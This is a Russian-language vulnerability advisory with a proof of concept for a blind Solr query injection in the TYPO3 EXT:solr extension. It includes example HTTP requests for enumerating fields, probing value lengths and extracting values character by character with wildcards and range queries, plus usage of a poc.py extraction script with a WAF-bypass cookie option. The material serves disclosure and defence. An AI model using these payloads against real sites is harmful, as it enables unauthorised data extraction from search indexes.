
Proof of concept и техническое описание CVE-2026-56096 — слепой инъекции запросов Solr в TYPO3 EXT:solr, позволяющей неаутентифицированное перечисление полей и извлечение данных.
В официальном расширении TYPO3 для Apache Solr (EXT:solr / apache-solr-for-typo3/solr) обнаружена архитектурная уязвимость безопасности. Проблема позволяет неаутентифицированным удалённым злоумышленникам внедрять произвольный синтаксис запросов Solr/Lucene через параметр поиска tx_solr[q], что даёт возможность несанкционированного слепого перебора полей и полного извлечения метаданных из поискового индекса.
EXT:solr (Параметр поиска: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NРасширение EXT:solr принимает поисковые запросы, вводимые пользователем, через параметр tx_solr[q] и передаёт их в движок Apache Solr. По замыслу расширение допускает использование определённых операторов запросов — таких как подстановочные знаки (*), подстановочные знаки для одного символа (?), селекторы полей (:) и диапазонные запросы ([a TO z]) — для поддержки легитимной функциональности, например фасетной фильтрации.
Поскольку эти символы передавались напрямую в конструкцию запроса к бэкенду без принудительного белого списка или слоя абстракции запросов, злоумышленник может передать синтаксис, специфичный для полей, чтобы выйти за предполагаемые границы поиска. Это позволяет неаутентифицированным пользователям напрямую обращаться к внутренним полям Solr и извлекать данные индекса с помощью слепых методов на основе булевых условий.
field:*Добавив подстановочный знак к произвольному или предполагаемому имени поля, злоумышленник может проверить, существует ли это поле в схеме:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
Если поле существует, Solr обрабатывает запрос по всем совпадающим записям (часто вызывая различные коды ответа или поведение, связанное с объёмом), что позволяет автоматизировать перебор полей на основе словарей.
Злоумышленники могут извлекать конфиденциальные значения полей посимвольно, используя булеву логику:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
?Оператор подстановочного знака для одного символа (?) позволяет определить точную длину хранимой строки до начала посимвольного перебора:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])Запросы диапазонов позволяют выполнять извлечение бинарным поиском по первому символу, сокращая количество необходимых запросов с 26 до ~5 на каждую позицию символа:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
Комбинирование определения длины, запросов диапазона и префиксных подстановочных знаков позволяет извлечь всё поле при минимальном объёме запросов.
Предоставляется автоматизированный скрипт проверки (poc.py) для демонстрации слепого извлечения с использованием описанных выше методов.
python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"
-u, --url: Целевой URL, указывающий на конечную точку поиска TYPO3.
-f, --field: Имя поля схемы для перечисления/извлечения (например, appKey, siteHash).
-c, --cookies: (Необязательно) Сессионные cookies, если требуется аутентификация/обход WAF для проверки.
-o, --output: Выходной файл для сохранения обнаруженных префиксов (по умолчанию: validated_fields.txt).
EXT:solr.Глобального экранирования символов недостаточно, поскольку операторы * и : обеспечивают предусмотренные функции поиска. Устранение требует белого списка и модели разбора на уровне приложения:
[email protected]).